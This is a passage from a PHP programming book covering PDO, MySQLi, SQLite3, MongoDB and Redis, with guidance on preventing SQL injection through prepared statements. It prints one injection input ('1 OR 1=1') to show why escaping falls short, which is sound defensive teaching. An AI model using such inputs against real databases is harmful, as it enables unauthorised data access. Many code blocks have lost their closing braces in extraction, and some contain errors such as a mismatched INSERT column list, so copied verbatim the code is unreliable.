While this is an extreme example (most SQL injection attacks do not aim to delete data, nor do most
PHP query

execution functions support multi-query), this is an example of how a SQL injection attack can be
made possible by

the careless assembly of the query. Unfortunately, attacks like this are very common, and are highly
effective due to

coders who fail to take proper precautions to protect their data.

To prevent SQL injection from occurring, prepared statements are the recommended solution. Instead
of

concatenating user data directly to the query, a placeholder is used instead. The data is then sent
separately, which

means there is no chance of the SQL engine confusing user data for a set of instructions.

While the topic here is PDO, please note that the PHP MySQLi extension also supports prepared

statements

PDO supports two kinds of placeholders (placeholders cannot be used for column or table names, only
values):
1. Named placeholders. A colon(:), followed by a distinct name (eg. :user)

// using named placeholders

$sql = 'SELECT name, email, user_level FROM users WHERE userID = :user';

$prep = $conn->prepare($sql);

$prep->execute(['user' => $_GET['user']]); // associative array

$result = $prep->fetchAll();

2. Traditional SQL positional placeholders, represented as ?:

// using question-mark placeholders

$sql = 'SELECT name, user_level FROM users WHERE userID = ? AND user_level = ?';

$prep = $conn->prepare($sql);

$prep->execute([$_GET['user'], $_GET['user_level']]); // indexed array

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$result = $prep->fetchAll();

If ever you need to dynamically change table or column names, know that this is at your own security
risks and a

bad practice. Though, it can be done by string concatenation. One way to improve security of such
queries is to set

a table of allowed values and compare the value you want to concatenate to this table.

Be aware that it is important to set connection charset through DSN only, otherwise your application
could be

prone to an obscure vulnerability if some odd encoding is used. For PDO versions prior to 5.3.6 setting
charset

through DSN is not available and thus the only option is to set PDO::ATTR_EMULATE_PREPARES
attribute to false on

the connection right after it’s created.

$conn->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

This causes PDO to use the underlying DBMS’s native prepared statements instead of just emulating it.
However, be aware that PDO will silently fallback to emulating statements that MySQL cannot prepare
natively:

those that it can are listed in the manual (source).

Section 58.2: Basic PDO Connection and Retrieval

Since PHP 5.0, PDO has been available as a database access layer. It is database agnostic, and so the
following

connection example code should work for any of its supported databases simply by changing the DSN.

// First, create the database handle

//Using MySQL (connection via local socket):

$dsn = "mysql:host=localhost;dbname=testdb;charset=utf8";

//Using MySQL (connection via network, optionally you can specify the port too):

//$dsn = "mysql:host=127.0.0.1;port=3306;dbname=testdb;charset=utf8";

//Or Postgres

//$dsn = "pgsql:host=localhost;port=5432;dbname=testdb;";

//Or even SQLite

//$dsn = "sqlite:/path/to/database"

$username = "user";

$password = "pass";

$db = new PDO($dsn, $username, $password);

// setup PDO to throw an exception if an invalid query is provided

$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

// Next, let's prepare a statement for execution, with a single placeholder

$query = "SELECT * FROM users WHERE class = ?";

$statement = $db->prepare($query);

// Create some parameters to fill the placeholders, and execute the statement

$parameters = [ "221B" ];
$statement->execute($parameters);

// Now, loop through each record as an associative array

while ($row = $statement->fetch(PDO::FETCH_ASSOC)) {

do_stuff($row);

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The prepare function creates a PDOStatement object from the query string. The execution of the
query and retrieval

of the results are performed on this returned object. In case of a failure, the function either returns
false or throws

an exception (depending upon how the PDO connection was configured).

Section 58.3: Database Transactions with PDO

Database transactions ensure that a set of data changes will only be made permanent if every
statement is

successful. Any query or code failure during a transaction can be caught and you then have the option
to roll back

the attempted changes.

PDO provides simple methods for beginning, committing, and rollbacking back transactions.

$pdo = new PDO(

$dsn,

$username,

$password,

array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION)

);

try {

$statement = $pdo->prepare("UPDATE user SET name = :name");

$pdo->beginTransaction();
$statement->execute(["name"=>'Bob']);

$statement->execute(["name"=>'Joe']);

$pdo->commit();

catch (\Exception $e) {

if ($pdo->inTransaction()) {

$pdo->rollback();

// If we got here our two data updates are not in the database

throw $e;

During a transaction any data changes made are only visible to the active connection. SELECT
statements will return

the altered changes even if they are not yet committed to the database.

Note: See database vendor documentation for details about transaction support. Some systems do not
support

transactions at all. Some support nested transactions while others do not.

Practical Example Using Transactions with PDO

In the following section is demonstrated a practical real world example where the use of transactions
ensures the

consistency of database.

Imagine the following scenario, let's say you are building a shopping cart for an e-commerce website
and you

decided to keep the orders in two database tables. One named orders with the fields order_id, name,
address,

telephone and created_at. And a second one named orders_products with the fields order_id,
product_id and

quantity. The first table contains the metadata of the order while the second one the actual products
that have

been ordered.

Inserting a new order to the database

To insert a new order into the database you need to do two things. First you need to INSERT a new
record inside the

GoalKicker.com – PHP Notes for Professionals 304

orders table that will contain the metadata of the order (name, address, etc). And then you need to
INSERT one

record into the orders_products table, for each one of the products that are included in the order.

You could do this by doing something similar to the following:

// Insert the metadata of the order into the database

$preparedStatement = $db->prepare(

'INSERT INTO `orders` (`name`, `address`, `telephone`, `created_at`)

VALUES (:name, :address, :telephone, :created_at)'

);

$preparedStatement->execute([

'name' => $name,

'address' => $address,

'telephone' => $telephone,

'created_at' => time(),

]);

// Get the generated `order_id`

$orderId = $db->lastInsertId();

// Construct the query for inserting the products of the order

$insertProductsQuery = 'INSERT INTO `orders_products` (`order_id`, `product_id`, `quantity`)

VALUES';
$count = 0;

foreach ( $products as $productId => $quantity ) {

$insertProductsQuery .= ' (:order_id' . $count . ', :product_id' . $count . ', :quantity' .

$count . ')';

$insertProductsParams['order_id' . $count] = $orderId;

$insertProductsParams['product_id' . $count] = $productId;

$insertProductsParams['quantity' . $count] = $quantity;

++$count;

// Insert the products included in the order into the database

$preparedStatement = $db->prepare($insertProductsQuery);

$preparedStatement->execute($insertProductsParams);

This will work great for inserting a new order into the database, until something unexpected happens
and for some

reason the second INSERT query fails. If that happens you will end up with a new order inside the
orders table,

which will have no products associated to it. Fortunately, the fix is very simple, all you have to do is to
make the

queries in the form of a single database transaction.

Inserting a new order into the database with a transaction

To start a transaction using PDO all you have to do is to call the beginTransaction method before you
execute any

queries to your database. Then you make any changes you want to your data by executing INSERT
and / or UPDATE

queries. And finally you call the commit method of the PDO object to make the changes permanent.
Until you call the
commit method every change you have done to your data up to this point is not yet permanent, and
can be easily

reverted by simply calling the rollback method of the PDO object.

On the following example is demonstrated the use of transactions for inserting a new order into the
database,

while ensuring the same time the consistency of the data. If one of the two queries fails all the
changes will be

reverted.

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// In this example we are using MySQL but this applies to any database that has support for

transactions

$db = new PDO('mysql:host=' . $host . ';dbname=' . $dbname . ';charset=utf8', $username,

$password);

// Make sure that PDO will throw an exception in case of error to make error handling easier

$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

try {

// From this point and until the transaction is being committed every change to the database can

be reverted

$db->beginTransaction();

// Insert the metadata of the order into the database

$preparedStatement = $db->prepare(

'INSERT INTO `orders` (`order_id`, `name`, `address`, `created_at`)

VALUES (:name, :address, :telephone, :created_at)'

);

$preparedStatement->execute([
'name' => $name,

'address' => $address,

'telephone' => $telephone,

'created_at' => time(),

]);

// Get the generated `order_id`

$orderId = $db->lastInsertId();

// Construct the query for inserting the products of the order

$insertProductsQuery = 'INSERT INTO `orders_products` (`order_id`, `product_id`, `quantity`)

VALUES';

$count = 0;

foreach ( $products as $productId => $quantity ) {

$insertProductsQuery .= ' (:order_id' . $count . ', :product_id' . $count . ', :quantity' .

$count . ')';

$insertProductsParams['order_id' . $count] = $orderId;

$insertProductsParams['product_id' . $count] = $productId;

$insertProductsParams['quantity' . $count] = $quantity;

++$count;

// Insert the products included in the order into the database

$preparedStatement = $db->prepare($insertProductsQuery);

$preparedStatement->execute($insertProductsParams);

// Make the changes to the database permanent

$db->commit();

catch ( PDOException $e ) {

// Failed to insert the order into the database so we rollback any changes

$db->rollback();

throw $e;

Section 58.4: PDO: connecting to MySQL/MariaDB server

There are two ways to connect to a MySQL/MariaDB server, depending on your infrastructure.

GoalKicker.com – PHP Notes for Professionals 306

Standard (TCP/IP) connection

$dsn = 'mysql:dbname=demo;host=server;port=3306;charset=utf8';

$connection = new \PDO($dsn, $username, $password);

// throw exceptions, when SQL error is caused

$connection->setAttribute(\PDO::ATTR_ERRMODE, \PDO::ERRMODE_EXCEPTION);

// prevent emulation of prepared statements

$connection->setAttribute(\PDO::ATTR_EMULATE_PREPARES, false);

Since PDO was designed to be compatible with older MySQL server versions (which did not have
support for

prepared statements), you have to explicitly disable the emulation. Otherwise, you will lose the added
injection

prevention benefits, that are usually granted by using prepared statements.

Another design compromise, that you have to keep in mind, is the default error handling behavior. If
not otherwise

configured, PDO will not show any indications of SQL errors.

It is strongly recommended setting it to "exception mode", because that gains you additional
functionality, when

writing persistence abstractions (for example: having an exception, when violating UNIQUE
constraint).

Socket connection

$dsn = 'mysql:unix_socket=/tmp/mysql.sock;dbname=demo;charset=utf8';

$connection = new \PDO($dsn, $username, $password);

// throw exceptions, when SQL error is caused

$connection->setAttribute(\PDO::ATTR_ERRMODE, \PDO::ERRMODE_EXCEPTION);

// prevent emulation of prepared statements

$connection->setAttribute(\PDO::ATTR_EMULATE_PREPARES, false);

On unix-like systems, if host name is 'localhost', then the connection to the server is made through a
domain

socket.

Section 58.5: PDO: Get number of aected rows by a query

We start off with $db, an instance of the PDO class. After executing a query we often want to
determine the number

of rows that have been affected by it. The rowCount() method of the PDOStatement will work nicely:

$query = $db->query("DELETE FROM table WHERE name = 'John'"); $count = $query->rowCount();

echo "Deleted

$count rows named John";

NOTE: This method should only be used to determine the number of rows affected by INSERT, DELETE,
and UPDATE

statements. Although this method may work for SELECT statements as well, it is not consistent across
all databases.

Section 58.6: PDO::lastInsertId()

You may often find the need to get the auto incremented ID value for a row that you have just inserted
into your

database table. You can achieve this with the lastInsertId() method.

// 1. Basic connection opening (for MySQL)

$host = 'localhost';

$database = 'foo';

$user = 'root'

$password = '';

$dsn = "mysql:host=$host;dbname=$database;charset=utf8";

$pdo = new PDO($dsn, $user, $password);

// 2. Inserting an entry in the hypothetical table 'foo_user'

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$query = "INSERT INTO foo_user(pseudo, email) VALUES ('anonymous', 'anonymous@example.com')";

$query_success = $pdo->query($query);

// 3. Retrieving the last inserted id

$id = $pdo->lastInsertId(); // return value is an integer

In postgresql and oracle, there is the RETURNING Keyword, which returns the specified columns of the
currently

inserted / modified rows. Here example for inserting one entry:

// 1. Basic connection opening (for PGSQL)

$host = 'localhost';

$database = 'foo';

$user = 'root'

$password = '';

$dsn = "pgsql:host=$host;dbname=$database;charset=utf8";

$pdo = new PDO($dsn, $user, $password);

// 2. Inserting an entry in the hypothetical table 'foo_user'

$query = "INSERT INTO foo_user(pseudo, email) VALUES ('anonymous', 'anonymous@example.com')

RETURNING id";

$statement = $pdo->query($query);

// 3. Retrieving the last inserted id

$id = $statement->fetchColumn(); // return the value of the id column of the new row in foo_user

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Chapter 59: PHP MySQLi

The mysqli interface is an improvement (it means "MySQL Improvement extension") of the mysql
interface, which

was deprecated in version 5.5 and is removed in version 7.0. The mysqli extension, or as it is
sometimes known, the

MySQL improved extension, was developed to take advantage of new features found in MySQL
systems versions

4.1.3 and newer. The mysqli extension is included with PHP versions 5 and later.

Section 59.1: Close connection

When we are finished querying the database, it is recommended to close the connection to free up
resources.

Object oriented style

$conn->close();

Procedural style

mysqli_close($conn);

Note: The connection to the server will be closed as soon as the execution of the script ends, unless
it's closed

earlier by explicitly calling the close connection function.

Use Case: If our script has a fair amount of processing to perform after fetching the result and has
retrieved the full

result set, we definitely should close the connection. If we were not to, there's a chance the MySQL
server will reach

its connection limit when the web server is under heavy use.

Section 59.2: MySQLi connect

Object oriented style

Connect to Server

$conn = new mysqli("localhost","my_user","my_password");

Set the default database: $conn->select_db("my_db");

Connect to Database

$conn = new mysqli("localhost","my_user","my_password","my_db");

Procedural style

Connect to Server

$conn = mysqli_connect("localhost","my_user","my_password");

Set the default database: mysqli_select_db($conn, "my_db");

Connect to Database

$conn = mysqli_connect("localhost","my_user","my_password","my_db");

Verify Database Connection

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Object oriented style

if ($conn->connect_errno > 0) {

trigger_error($db->connect_error);

} // else: successfully connected

Procedural style

if (!$conn) {

trigger_error(mysqli_connect_error());

} // else: successfully connected

Section 59.3: Loop through MySQLi results

PHP makes it easy to get data from your results and loop over it using a while statement. When it fails
to get the

next row, it returns false, and your loop ends. These examples work with

mysqli_fetch_assoc - Associative array with column names as keys

mysqli_fetch_object - stdClass object with column names as variables

mysqli_fetch_array - Associative AND Numeric array (can use arguments to get one or the other)

mysqli_fetch_row - Numeric array

Object oriented style

while($row = $result->fetch_assoc()) {

var_dump($row);

Procedural style

while($row = mysqli_fetch_assoc($result)) {

var_dump($row);

To get exact information from results, we can use:

while ($row = $result->fetch_assoc()) {

echo 'Name and surname: '.$row['name'].' '.$row['surname'].'<br>';

echo 'Age: '.$row['age'].'<br>'; // Prints info from 'age' column

Section 59.4: Prepared statements in MySQLi

Please read Preventing SQL injection with Parametrized Queries for a complete discussion of why
prepared

statements help you secure your SQL statements from SQL Injection attacks

The $conn variable here is a MySQLi object. See MySQLi connect example for more details.
For both examples, we assume that $sql is

$sql = "SELECT column_1

FROM table

WHERE column_2 = ?

AND column_3 > ?";

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The ? represents the values we will provide later. Please note that we do not need quotes for the
placeholders,

regardless of the type. We can also only provide placeholders in the data portions of the query,
meaning SET,

VALUES and WHERE. You cannot use placeholders in the SELECT or FROM portions.

Object oriented style

if ($stmt = $conn->prepare($sql)) {

$stmt->bind_param("si", $column_2_value, $column_3_value);

$stmt->execute();

$stmt->bind_result($column_1);

$stmt->fetch();

//Now use variable $column_1 one as if it were any other PHP variable

$stmt->close();

Procedural style

if ($stmt = mysqli_prepare($conn, $sql)) {

mysqli_stmt_bind_param($stmt, "si", $column_2_value, $column_3_value);

mysqli_stmt_execute($stmt);

// Fetch data here

mysqli_stmt_close($stmt);
}

The first parameter of $stmt->bind_param or the second parameter of mysqli_stmt_bind_param is

determined by

the data type of the corresponding parameter in the SQL query:

Parameter Data type of the bound parameter

i integer

d double

s string

b blob

Your list of parameters needs to be in the order provided in your query. In this example si means the
first

parameter (column_2 = ?) is string and the second parameter (column_3 > ?) is integer.

For retrieving data, see How to get data from a prepared statement

Section 59.5: Escaping Strings

Escaping strings is an older (and less secure) method of securing data for insertion into a query. It
works by using

MySQL's function mysql_real_escape_string() to process and sanitize the data (in other words, PHP is
not doing the

escaping). The MySQLi API provides direct access to this function

$escaped = $conn->real_escape_string($_GET['var']);

// OR

$escaped = mysqli_real_escape_string($conn, $_GET['var']);

At this point, you have a string that MySQL considers to be safe for use in a direct query

$sql = 'SELECT * FROM users WHERE username = "' . $escaped . '"';

$result = $conn->query($sql);

So why is this not as secure as prepared statements? There are ways to trick MySQL to produce a
string it considers
GoalKicker.com – PHP Notes for Professionals 311

safe. Consider the following example

$id = mysqli_real_escape_string("1 OR 1=1");

$sql = 'SELECT * FROM table WHERE id = ' . $id;

1 OR 1=1 does not represent data that MySQL will escape, yet this still represents SQL injection. There
are other

examples as well that represent places where it returns unsafe data. The problem is that MySQL's
escaping function

is designed to make data comply with SQL syntax. It's NOT designed to make sure that MySQL can't
confuse

user data for SQL instructions.

Section 59.6: Debugging SQL in MySQLi

So your query has failed (see MySQLi connect for how we made $conn)

$result = $conn->query('SELECT * FROM non_existent_table'); // This query will fail

How do we find out what happened? $result is false so that's no help. Thankfully the connect $conn
can tell us

what MySQL told us about the failure

trigger_error($conn->error);

or procedural

trigger_error(mysqli_error($conn));

You should get an error similar to

Table 'my_db.non_existent_table' doesn't exist

Section 59.7: MySQLi query

The query function takes a valid SQL string and executes it directly against the database connection
$conn

Object oriented style

$result = $conn->query("SELECT * FROM `people`");

Procedural style

$result = mysqli_query($conn, "SELECT * FROM `people`");

CAUTION

A common problem here is that people will simply execute the query and expect it to work (i.e. return
a

mysqli_stmt object). Since this function takes only a string, you're building the query first yourself. If
there are any

mistakes in the SQL at all, the MySQL compiler will fail, at which point this function will return false.

$result = $conn->query('SELECT * FROM non_existent_table'); // This query will fail

$row = $result->fetch_assoc();

GoalKicker.com – PHP Notes for Professionals 312

The above code will generate a E_FATAL error because $result is false, and not an object.

PHP Fatal error: Call to a member function fetch_assoc() on a non-object

The procedural error is similar, but not fatal, because we're just violating the expectations of the
function.

$row = mysqli_fetch_assoc($result); // same query as previous

You will get the following message from PHP

mysqli_fetch_array() expects parameter 1 to be mysqli_result, boolean given

You can avoid this by doing a test first

if($result) $row = mysqli_fetch_assoc($result);

Section 59.8: How to get data from a prepared statement

Prepared statements

See Prepared statements in MySQLi for how to prepare and execute a query.

Binding of results

Object-oriented style

$stmt->bind_result($forename);

Procedural style
mysqli_stmt_bind_result($stmt, $forename);

The problem with using bind_result is that it requires the statement to specify the columns that will
be used. This

means that for the above to work the query must have looked like this SELECT forename FROM users.
To include

more columns simply add them as parameters to the bind_result function (and ensure that you add
them to the

SQL query).

In both cases, we're assigning the forename column to the $forename variable. These functions take
as many

arguments as columns you want to assign. The assignment is only done once, since the function binds
by reference.

We can then loop as follows:

Object-oriented style

while ($stmt->fetch())

echo "$forename<br />";

Procedural style

while (mysqli_stmt_fetch($stmt))

echo "$forename<br />";

GoalKicker.com – PHP Notes for Professionals 313

The drawback to this is that you have to assign a lot of variables at once. This makes keeping track of
large queries

difficult. If you have MySQL Native Driver (mysqlnd) installed, all you need to do is use get_result.

Object-oriented style

$result = $stmt->get_result();

Procedural style

$result = mysqli_stmt_get_result($stmt);

This is much easier to work with because now we're getting a mysqli_result object. This is the same
object that

mysqli_query returns. This means you can use a regular result loop to get your data.

What if I cannot install mysqlnd?

If that is the case then @Sophivorus has you covered with this amazing answer.

This function can perform the task of get_result without it being installed on the server. It simply loops
through

the results and builds an associative array

function get_result(\mysqli_stmt $statement)

$result = array();

$statement->store_result();

for ($i = 0; $i < $statement->num_rows; $i++)

$metadata = $statement->result_metadata();

$params = array();

while ($field = $metadata->fetch_field())

$params[] = &$result[$i][$field->name];

call_user_func_array(array($statement, 'bind_result'), $params);

$statement->fetch();

return $result;

We can then use the function to get results like this, just as if we were using mysqli_fetch_assoc()

<?php
$query = $mysqli->prepare("SELECT * FROM users WHERE forename LIKE ?");

$condition = "J%";

$query->bind_param("s", $condition);

$query->execute();

$result = get_result($query);

while ($row = array_shift($result)) {

echo $row["id"] . ' - ' . $row["forename"] . ' ' . $row["surname"] . '<br>';

It will have the same output as if you were using the mysqlnd driver, except it does not have to be
installed. This is

very useful if you are unable to install said driver on your system. Just implement this solution.

GoalKicker.com – PHP Notes for Professionals 314

Section 59.9: MySQLi Insert ID

Retrieve the last ID generated by an INSERT query on a table with an AUTO_INCREMENT column.

Object-oriented Style

$id = $conn->insert_id;

Procedural Style

$id = mysqli_insert_id($conn);

Returns zero if there was no previous query on the connection or if the query did not update an

AUTO_INCREMENT value.

Insert id when updating rows

Normally an UPDATE statement does not return an insert id, since an AUTO_INCREMENT id is only
returned when a

new row has been saved (or inserted). One way of making updates to the new id is to use INSERT ...
ON

DUPLICATE KEY UPDATE syntax for updating.

Setup for examples to follow:

CREATE TABLE iodku (

id INT AUTO_INCREMENT NOT NULL,

name VARCHAR(99) NOT NULL,

misc INT NOT NULL,

PRIMARY KEY(id),

UNIQUE(name)

) ENGINE=InnoDB;

INSERT INTO iodku (name, misc)

VALUES

('Leslie', 123),

('Sally', 456);

Query OK, 2 rows affected (0.00 sec)

Records: 2 Duplicates: 0 Warnings: 0

+----+--------+------+

| id | name | misc |

+----+--------+------+

| 1 | Leslie | 123 |

| 2 | Sally | 456 |

+----+--------+------+

The case of IODKU performing an "update" and LAST_INSERT_ID() retrieving the relevant id:

$sql = "INSERT INTO iodku (name, misc)

VALUES

('Sally', 3333) -- should update

ON DUPLICATE KEY UPDATE -- `name` will trigger "duplicate key"

id = LAST_INSERT_ID(id),
misc = VALUES(misc)";

$conn->query($sql);

$id = $conn->insert_id; -- picking up existing value (2)

The case where IODKU performs an "insert" and LAST_INSERT_ID() retrieves the new id:

GoalKicker.com – PHP Notes for Professionals 315

$sql = "INSERT INTO iodku (name, misc)

VALUES

('Dana', 789) -- Should insert

ON DUPLICATE KEY UPDATE

id = LAST_INSERT_ID(id),

misc = VALUES(misc);

$conn->query($sql);

$id = $conn->insert_id; -- picking up new value (3)

Resulting table contents:

SELECT * FROM iodku;

+----+--------+------+

| id | name | misc |

+----+--------+------+

| 1 | Leslie | 123 |

| 2 | Sally | 3333 | -- IODKU changed this

| 3 | Dana | 789 | -- IODKU added this

+----+--------+------+

GoalKicker.com – PHP Notes for Professionals 316

Chapter 60: SQLite3

Section 60.1: SQLite3 Quickstart Tutorial

This is a complete example of all the commonly used SQLite related APIs. The aim is to get you up and
running

really fast. You can also get a runnable PHP file of of this tutorial.

Creating/opening a database

Let's create a new database first. Create it only if the file doesn't exist and open it for reading/writing.
The extension

of the file is up to you, but .sqlite is pretty common and self-explanatory.

$db = new SQLite3('analytics.sqlite', SQLITE3_OPEN_CREATE | SQLITE3_OPEN_READWRITE);

Creating a table

$db->query('CREATE TABLE IF NOT EXISTS "visits" (

"id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,

"user_id" INTEGER,

"url" VARCHAR,

"time" DATETIME

)');

Inserting sample data.

It's advisable to wrap related queries in a transaction (with keywords BEGIN and COMMIT), even if you
don't care

about atomicity. If you don't do this, SQLite automatically wraps every single query in a transaction,
which slows

down everything immensely. If you're new to SQLite, you may be surprised why the INSERTs are so
slow .

$db->exec('BEGIN');

$db->query('INSERT INTO "visits" ("user_id", "url", "time")

VALUES (42, "/test", "2017-01-14 10:11:23")');

$db->query('INSERT INTO "visits" ("user_id", "url", "time")

VALUES (42, "/test2", "2017-01-14 10:11:44")');

$db->exec('COMMIT');

Insert potentially unsafe data with a prepared statement. You can do this with named parameters:

$statement = $db->prepare('INSERT INTO "visits" ("user_id", "url", "time")

VALUES (:uid, :url, :time)');

$statement->bindValue(':uid', 1337);

$statement->bindValue(':url', '/test');

$statement->bindValue(':time', date('Y-m-d H:i:s'));

$statement->execute(); you can reuse the statement with different values

Fetching data

Let's fetch today's visits of user #42. We'll use a prepared statement again, but with numbered
parameters this time,

which are more concise:

$statement = $db->prepare('SELECT * FROM "visits" WHERE "user_id" = ? AND "time" >= ?');

$statement->bindValue(1, 42);

$statement->bindValue(2, '2017-01-14');

$result = $statement->execute();

echo "Get the 1st row as an associative array:\n";

print_r($result->fetchArray(SQLITE3_ASSOC));

echo "\n";

GoalKicker.com – PHP Notes for Professionals 317

echo "Get the next row as a numeric array:\n";

print_r($result->fetchArray(SQLITE3_NUM));

echo "\n";

Note: If there are no more rows, fetchArray() returns false. You can take advantage of this in a while

loop.

Free the memory - this in not done automatically, while your script is running
$result->finalize();

Shorthands

Here's a useful shorthand for fetching a single row as an associative array. The second parameter
means we want

all the selected columns.

Watch out, this shorthand doesn't support parameter binding, but you can escape the strings instead.
Always put

the values in SINGLE quotes! Double quotes are used for table and column names (similar to backticks
in MySQL).

$query = 'SELECT * FROM "visits" WHERE "url" = \'' .

SQLite3::escapeString('/test') .

'\' ORDER BY "id" DESC LIMIT 1';

$lastVisit = $db->querySingle($query, true);

echo "Last visit of '/test':\n";

print_r($lastVisit);

echo "\n";

Another useful shorthand for retrieving just one value.

$userCount = $db->querySingle('SELECT COUNT(DISTINCT "user_id") FROM "visits"');

echo "User count: $userCount\n";

echo "\n";

Cleaning up

Finally, close the database. This is done automatically when the script finishes, though.

$db->close();

Section 60.2: Querying a database

<?php

//Create a new SQLite3 object from a database file on the server.

$database = new SQLite3('mysqlitedb.db');

//Query the database with SQL

$results = $database->query('SELECT bar FROM foo');

//Iterate through all of the results, var_dumping them onto the page

while ($row = $results->fetchArray()) {

var_dump($row);

?>

GoalKicker.com – PHP Notes for Professionals 318

See also http://stackoverflow.com/documentation/sql/topics

Section 60.3: Retrieving only one result

In addition to using LIMIT SQL statements you can also use the SQLite3 function querySingle to
retrieve a single

row, or the first column.

<?php

$database = new SQLite3('mysqlitedb.db');

//Without the optional second parameter set to true, this query would return just

//the first column of the first row of results and be of the same type as columnName

$database->querySingle('SELECT column1Name FROM table WHERE column2Name=1');

//With the optional entire_row parameter, this query would return an array of the

//entire first row of query results.

$database->querySingle('SELECT column1Name, column2Name FROM user WHERE column3Name=1',

true);

?>

GoalKicker.com – PHP Notes for Professionals 319

Chapter 61: Using MongoDB

Section 61.1: Connect to MongoDB

Create a MongoDB connection, that later you can query:

$manager = new \MongoDB\Driver\Manager('mongodb://localhost:27017');

In the next example, you will learn how to query the connection object.

This extension close the connection automatically, it's not necessary to close manually.

Section 61.2: Get multiple documents - find()

Example for searching multiple users with the name "Mike":

$filter = ['name' => 'Mike'];

$query = new \MongoDB\Driver\Query($filter);

$cursor = $manager->executeQuery('database_name.collection_name', $query);

foreach ($cursor as $doc) {

var_dump($doc);

Section 61.3: Get one document - findOne()

Example for searching just one user with a specific id, you should do:

$options = ['limit' => 1];

$filter = ['_id' => new \MongoDB\BSON\ObjectID('578ff7c3648c940e008b457a')];

$query = new \MongoDB\Driver\Query($filter, $options);

$cursor = $manager->executeQuery('database_name.collection_name', $query);

$cursorArray = $cursor->toArray();

if(isset($cursorArray[0])) {

var_dump($cursorArray[0]);

Section 61.4: Insert document

Example for adding a document:

$document = [
'name' => 'John',

'active' => true,

'info' => ['genre' => 'male', 'age' => 30]

];

$bulk = new \MongoDB\Driver\BulkWrite;

$_id1 = $bulk->insert($document);

$result = $manager->executeBulkWrite('database_name.collection_name', $bulk);

Section 61.5: Update a document

Example for updating all documents where name is equal to "John":

GoalKicker.com – PHP Notes for Professionals 320

$filter = ['name' => 'John'];

$document = ['name' => 'Mike'];

$bulk = new \MongoDB\Driver\BulkWrite;

$bulk->update(

$filter,

$document,

['multi' => true]

);

$result = $manager->executeBulkWrite('database_name.collection_name', $bulk);

Section 61.6: Delete a document

Example for deleting all documents where name is equal to "Peter":

$bulk = new \MongoDB\Driver\BulkWrite;

$filter = ['name' => 'Peter'];

$bulk->delete($filter);

$result = $manager->executeBulkWrite('database_name.collection_name', $bulk);

GoalKicker.com – PHP Notes for Professionals 321

Chapter 62: mongo-php

Section 62.1: Everything in between MongoDB and Php

Requirements

MongoDB server running on port usually 27017. (type mongod on command prompt to run mongodb
server)

Php installed as either cgi or fpm with MongoDB extension installed(MongoDB extension is not
bundled with

default php)

Composer library(mongodb/mongodb).(In the project root run php composer.phar require

"mongodb/mongodb=^1.0.0" to install the MongoDB library)

If everything is ok you are ready to move on.

Check For Php installation

if not sure check Php installation by running php -v on command prompt will return something like
this

PHP 7.0.6 (cli) (built: Apr 28 2016 14:12:14) ( ZTS ) Copyright (c) 1997-2016 The PHP Group Zend

Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies

Check For MongoDB installation

Check MongoDB installation by running mongo --version will return MongoDB shell version: 3.2.6

Check For Composer installation

Check for Composer installation by running php composer.phar --version will return Composer version
1.2-dev

(3d09c17b489cd29a0c0b3b11e731987e7097797d) 2016-08-30 16:12:39 `

Connecting to MongoDB from php

<?php

//This path should point to Composer's autoloader from where your MongoDB library will be loaded

require 'vendor/autoload.php';
// when using custom username password

try {

$mongo = new MongoDB\Client('mongodb://username:password@localhost:27017');

print_r($mongo->listDatabases());

} catch (Exception $e) {

echo $e->getMessage();

// when using default settings

try {

$mongo = new MongoDB\Client('mongodb://localhost:27017');

GoalKicker.com – PHP Notes for Professionals 322

print_r($mongo->listDatabases());

} catch (Exception $e) {

echo $e->getMessage();

The above code will connect using MongoDB composer library(mongodb/mongodb) included as
vendor/autoload.php to

connect to the MongoDB server running on port: 27017. If everything is ok it will connect and list an
array, if exception

occurs connecting to MongoDB server the message will be printed.

CREATE(Inserting) into MongoDB

<?php

//MongoDB uses collection rather than Tables as in case on SQL.

//Use $mongo instance to select the database and collection

//NOTE: if database(here demo) and collection(here beers) are not found in MongoDB both will be

created automatically by MongoDB.

$collection = $mongo->demo->beers;

//Using $collection we can insert one document into MongoDB

//document is similar to row in SQL.

$result = $collection->insertOne( [ 'name' => 'Hinterland', 'brewery' => 'BrewDog' ] );

//Every inserted document will have a unique id.

echo "Inserted with Object ID '{$result->getInsertedId()}'";

?>

In the example we are using the $mongo instance previously used in the Connecting to MongoDB from
php part.

MongoDB uses JSON type data format, so in php we will use array to insert data into MongoDB, this
conversion from array

to Json and vice versa will be done by mongo library. Every document in MongoDB has a unique id
named as _id,during

insertion we can get this by using $result->getInsertedId();

READ(Find) in MongoDB

<?php

//use find() method to query for records, where parameter will be array containing key value pair we

need to find.

$result = $collection->find( [ 'name' => 'Hinterland', 'brewery' => 'BrewDog' ] );

// all the data(result) returned as array

// use for each to filter the required keys

foreach ($result as $entry) {

echo $entry['_id'], ': ', $entry['name'], "\n";

?>

Drop in MongoDB

<?php
$result = $collection->drop( [ 'name' => 'Hinterland'] );

//return 1 if the drop was sucessfull and 0 for failure

print_r($result->ok);

?>

GoalKicker.com – PHP Notes for Professionals 323

There are many methods that can be performed on $collection see Official documentation from
MongoDB

GoalKicker.com – PHP Notes for Professionals 324

Chapter 63: Using Redis with PHP

Section 63.1: Connecting to a Redis instance

Assuming a default server running on localhost with the default port, the command to connect to that
Redis server

would be:

$redis = new Redis();

$redis->connect('127.0.0.1', 6379);

Section 63.2: Installing PHP Redis on Ubuntu

To install PHP on Ubuntu, first install the Redis server:

sudo apt install redis-server

then install the PHP module:

sudo apt install php-redis

And restart the Apache server:

sudo service apache2 restart

Section 63.3: Executing Redis commands in PHP

The Redis PHP module gives access to the same commands as the Redis CLI client so it is quite
straightforward to

use.

The syntax is as follow:

// Creates two new keys:

$redis->set('mykey-1', 123);

$redis->set('mykey-2', 'abcd');

// Gets one key (prints '123')

var_dump($redis->get('mykey-1'));

// Gets all keys starting with 'my-key-'

// (prints '123', 'abcd')

var_dump($redis->keys('mykey-*'));

GoalKicker.com – PHP Notes for Professionals 325

Chapter 64: Sending Email

Parameter Details

string $to The recipient email address

string $subject The subject line

string $message The body of the email

string $additional_headers Optional: headers to add to the email

string $additional_parameters Optional: arguments to pass to the configured mail send application in
the

command line

Section 64.1: Sending Email - The basics, more details, and a

full example

